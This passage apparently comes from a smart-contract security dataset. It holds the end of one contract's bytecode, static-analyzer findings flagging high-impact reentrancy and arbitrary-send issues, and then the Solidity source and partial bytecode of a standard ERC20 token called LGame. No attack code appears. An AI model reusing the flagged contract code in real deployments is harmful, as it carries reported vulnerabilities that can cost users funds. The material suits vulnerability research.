0830381600087803b15801561128657600080fd5b505af115801561129a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112be91906129fc565b5050565b6112ca6113dd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611357576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134e90612f7b565b60405180910390fd5b6000811161139a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139190612f1b565b60405180910390fd5b806011819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6011546040516113d2919061305b565b60405180910390a150565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611455576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144c90612fdb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114bc90612edb565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115a3919061305b565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611620576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161790612fbb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611690576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168790612e9b565b60405180910390fd5b600081116116d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ca90612f9b565b60405180910390fd5b6116db610933565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117495750611719610933565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b8857601154811115611793576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178a90612ffb565b60405180910390fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561183e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118945750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118ac5750601060169054906101000a900460ff165b156119d257601060149054906101000a900460ff16611900576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f79061303b565b60405180910390fd5b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611981576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197890612f3b565b60405180910390fd5b60014261198e9190613140565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006119dd30610785565b9050601060159054906101000a900460ff16158015611a4a5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a625750601060149054906101000a900460ff165b15611b865767016345785d8a0000821115611a7c57600080fd5b601060179054906101000a900460ff1615611b635742600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611b12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b0990612f3b565b60405180910390fd5b605a42611b1f9190613140565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b611b6c81611e18565b60004790506000811115611b8457611b8347611caf565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c2f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c3957600090505b611c45848484846121d7565b50505050565b6000838311158290611c93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c8a9190612e79565b60405180910390fd5b5060008385611ca29190613221565b9050809150509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cff60028461218d90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d2a573d6000803e3d6000fd5b50600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d7b60028461218d90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611da6573d6000803e3d6000fd5b5050565b6000600754821115611df1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de890612ebb565b60405180910390fd5b6000611dfb612204565b9050611e10818461218d90919063ffffffff16565b915050919050565b6001601060156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e76577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611ea45781602001602082028036833780820191505090505b5090503081600081518110611ee2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f8457600080fd5b505afa158015611f98573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fbc91906128e3565b81600181518110611ff6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061205d30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113e5565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120c1959493929190613076565b600060405180830381600087803b1580156120db57600080fd5b505af11580156120ef573d6000803e3d6000fd5b50505050506000601060156101000a81548160ff02191690831515021790555050565b6000808314156121255760009050612187565b6000828461213391906131c7565b90508284826121429190613196565b14612182576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161217990612f5b565b60405180910390fd5b809150505b92915050565b60006121cf83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061222f565b905092915050565b806121e5576121e4612292565b5b6121f08484846122d5565b806121fe576121fd6124a0565b5b50505050565b60008060006122116124b4565b91509150612228818361218d90919063ffffffff16565b9250505090565b60008083118290612276576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161226d9190612e79565b60405180910390fd5b50600083856122859190613196565b9050809150509392505050565b60006009541480156122a657506000600a54145b156122b0576122d3565b600954600b81905550600a54600c8190555060006009819055506000600a819055505b565b6000806000806000806122e787612516565b95509550955095509550955061234586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123da85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061242681612626565b61243084836126e3565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161248d919061305b565b60405180910390a3505050505050505050565b600b54600981905550600c54600a81905550565b600080600060075490506000683635c9adc5dea0000090506124ea683635c9adc5dea0000060075461218d90919063ffffffff16565b82101561250957600754683635c9adc5dea00000935093505050612512565b81819350935050505b9091565b60008060008060008060008060006125338a600954600a5461271d565b9250925092506000612543612204565b905060008060006125568e8787876127b3565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006125c083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c4b565b905092915050565b60008082846125d79190613140565b90508381101561261c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161261390612efb565b60405180910390fd5b8091505092915050565b6000612630612204565b90506000612647828461211290919063ffffffff16565b905061269b81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126f88260075461257e90919063ffffffff16565b600781905550612713816008546125c890919063ffffffff16565b6008819055505050565b600080600080612749606461273b888a61211290919063ffffffff16565b61218d90919063ffffffff16565b905060006127736064612765888b61211290919063ffffffff16565b61218d90919063ffffffff16565b9050600061279c8261278e858c61257e90919063ffffffff16565b61257e90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127cc858961211290919063ffffffff16565b905060006127e3868961211290919063ffffffff16565b905060006127fa878961211290919063ffffffff16565b9050600061282382612815858761257e90919063ffffffff16565b61257e90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008135905061284b816136cc565b92915050565b600081519050612860816136cc565b92915050565b600081359050612875816136e3565b92915050565b60008151905061288a816136e3565b92915050565b60008135905061289f816136fa565b92915050565b6000815190506128b4816136fa565b92915050565b6000602082840312156128cc57600080fd5b60006128da8482850161283c565b91505092915050565b6000602082840312156128f557600080fd5b600061290384828501612851565b91505092915050565b6000806040838503121561291f57600080fd5b600061292d8582860161283c565b925050602061293e8582860161283c565b9150509250929050565b60008060006060848603121561295d57600080fd5b600061296b8682870161283c565b935050602061297c8682870161283c565b925050604061298d86828701612890565b9150509250925092565b600080604083850312156129aa57600080fd5b60006129b88582860161283c565b92505060206129c985828601612890565b9150509250929050565b6000602082840312156129e557600080fd5b60006129f384828501612866565b91505092915050565b600060208284031215612a0e57600080fd5b6000612a1c8482850161287b565b91505092915050565b600060208284031215612a3757600080fd5b6000612a4584828501612890565b91505092915050565b600080600060608486031215612a6357600080fd5b6000612a71868287016128a5565b9350506020612a82868287016128a5565b9250506040612a93868287016128a5565b9150509250925092565b6000612aa98383612ab5565b60208301905092915050565b612abe81613255565b82525050565b612acd81613255565b82525050565b6000612ade826130fb565b612ae8818561311e565b9350612af3836130eb565b8060005b83811015612b24578151612b0b8882612a9d565b9750612b1683613111565b925050600181019050612af7565b5085935050505092915050565b612b3a81613267565b82525050565b612b49816132aa565b82525050565b6000612b5a82613106565b612b64818561312f565b9350612b748185602086016132bc565b612b7d8161334d565b840191505092915050565b6000612b9560238361312f565b9150612ba08261335e565b604082019050919050565b6000612bb8602a8361312f565b9150612bc3826133ad565b604082019050919050565b6000612bdb60228361312f565b9150612be6826133fc565b604082019050919050565b6000612bfe601b8361312f565b9150612c098261344b565b602082019050919050565b6000612c21601d8361312f565b9150612c2c82613474565b602082019050919050565b6000612c44602a8361312f565b9150612c4f8261349d565b604082019050919050565b6000612c6760218361312f565b9150612c72826134ec565b604082019050919050565b6000612c8a60208361312f565b9150612c958261353b565b602082019050919050565b6000612cad60298361312f565b9150612cb882613564565b604082019050919050565b6000612cd060258361312f565b9150612cdb826135b3565b604082019050919050565b6000612cf360248361312f565b9150612cfe82613602565b604082019050919050565b6000612d1660108361312f565b9150612d2182613651565b602082019050919050565b6000612d3960178361312f565b9150612d448261367a565b602082019050919050565b6000612d5c60188361312f565b9150612d67826136a3565b602082019050919050565b612d7b81613293565b82525050565b612d8a8161329d565b82525050565b6000602082019050612da56000830184612ac4565b92915050565b6000604082019050612dc06000830185612ac4565b612dcd6020830184612ac4565b9392505050565b6000604082019050612de96000830185612ac4565b612df66020830184612d72565b9392505050565b600060c082019050612e126000830189612ac4565b612e1f6020830188612d72565b612e2c6040830187612b40565b612e396060830186612b40565b612e466080830185612ac4565b612e5360a0830184612d72565b979650505050505050565b6000602082019050612e736000830184612b31565b92915050565b60006020820190508181036000830152612e938184612b4f565b905092915050565b60006020820190508181036000830152612eb481612b88565b9050919050565b60006020820190508181036000830152612ed481612bab565b9050919050565b60006020820190508181036000830152612ef481612bce565b9050919050565b60006020820190508181036000830152612f1481612bf1565b9050919050565b60006020820190508181036000830152612f3481612c14565b9050919050565b60006020820190508181036000830152612f5481612c37565b9050919050565b60006020820190508181036000830152612f7481612c5a565b9050919050565b60006020820190508181036000830152612f9481612c7d565b9050919050565b60006020820190508181036000830152612fb481612ca0565b9050919050565b60006020820190508181036000830152612fd481612cc3565b9050919050565b60006020820190508181036000830152612ff481612ce6565b9050919050565b6000602082019050818103600083015261301481612d09565b9050919050565b6000602082019050818103600083015261303481612d2c565b9050919050565b6000602082019050818103600083015261305481612d4f565b9050919050565b60006020820190506130706000830184612d72565b92915050565b600060a08201905061308b6000830188612d72565b6130986020830187612b40565b81810360408301526130aa8186612ad3565b90506130b96060830185612ac4565b6130c66080830184612d72565b9695505050505050565b60006020820190506130e56000830184612d81565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061314b82613293565b915061315683613293565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561318b5761318a6132ef565b5b828201905092915050565b60006131a182613293565b91506131ac83613293565b9250826131bc576131bb61331e565b5b828204905092915050565b60006131d282613293565b91506131dd83613293565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613216576132156132ef565b5b828202905092915050565b600061322c82613293565b915061323783613293565b92508282101561324a576132496132ef565b5b828203905092915050565b600061326082613273565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132b582613293565b9050919050565b60005b838110156132da5780820151818401526020810190506132bf565b838111156132e9576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f596f7572207472616e73616374696f6e20636f6f6c646f776e20686173206e6f60008201527f7420657870697265642e00000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f546f6f206d616e7920746f6b656e732e00000000000000000000000000000000600082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6136d581613255565b81146136e057600080fd5b50565b6136ec81613267565b81146136f757600080fd5b50565b61370381613293565b811461370e57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122011cefc3dc0427c76667d1410ce00fd4a431559c1e863399b9c7ad1ce391b5c3964736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,218
0x6fe536a1d595c12cbb407c5b2c03999f658a5c72
/** *Submitted for verification at Etherscan.io on 2019-07-11 */ pragma solidity ^0.5.0; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { require(_value == 0 || allowed[msg.sender][_spender] == 0); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract RegularToken is StandardToken, Ownable { function transfer(address _to, uint256 _value) public returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract LGame is RegularToken { string public name = "LGame"; string public symbol = "LG"; uint public decimals = 18; uint public INITIAL_SUPPLY = 21000000000 * (10 ** uint256(decimals)); constructor() public { totalSupply = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } }
0x6080604052600436106100d0576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100d5578063095ea7b31461016557806318160ddd146101d857806323b872dd146102035780632ff2e9dc14610296578063313ce567146102c157806366188463146102ec57806370a082311461035f5780638da5cb5b146103c457806395d89b411461041b578063a9059cbb146104ab578063d73dd6231461051e578063dd62ed3e14610591578063f2fde38b14610616575b600080fd5b3480156100e157600080fd5b506100ea610667565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561012a57808201518184015260208101905061010f565b50505050905090810190601f1680156101575780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017157600080fd5b506101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610705565b604051808215151515815260200191505060405180910390f35b3480156101e457600080fd5b506101ed610719565b6040518082815260200191505060405180910390f35b34801561020f57600080fd5b5061027c6004803603606081101561022657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061071f565b604051808215151515815260200191505060405180910390f35b3480156102a257600080fd5b506102ab610735565b6040518082815260200191505060405180910390f35b3480156102cd57600080fd5b506102d661073b565b6040518082815260200191505060405180910390f35b3480156102f857600080fd5b506103456004803603604081101561030f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610741565b604051808215151515815260200191505060405180910390f35b34801561036b57600080fd5b506103ae6004803603602081101561038257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610755565b6040518082815260200191505060405180910390f35b3480156103d057600080fd5b506103d961079e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561042757600080fd5b506104306107c4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610470578082015181840152602081019050610455565b50505050905090810190601f16801561049d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104b757600080fd5b50610504600480360360408110156104ce57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610862565b604051808215151515815260200191505060405180910390f35b34801561052a57600080fd5b506105776004803603604081101561054157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610876565b604051808215151515815260200191505060405180910390f35b34801561059d57600080fd5b50610600600480360360408110156105b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061088a565b6040518082815260200191505060405180910390f35b34801561062257600080fd5b506106656004803603602081101561063957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610911565b005b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106fd5780601f106106d2576101008083540402835291602001916106fd565b820191906000526020600020905b8154815290600101906020018083116106e057829003601f168201915b505050505081565b60006107118383610a69565b905092915050565b60005481565b600061072c848484610bf0565b90509392505050565b60075481565b60065481565b600061074d8383610faf565b905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561085a5780601f1061082f5761010080835404028352916020019161085a565b820191906000526020600020905b81548152906001019060200180831161083d57829003601f168201915b505050505081565b600061086e8383611240565b905092915050565b60006108828383611464565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561096d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156109a957600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080821480610af557506000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1515610b0057600080fd5b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610c2d57600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610c7b57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610d0657600080fd5b610d5882600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166090919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ded82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461167990919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ebf82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166090919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156110c0576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168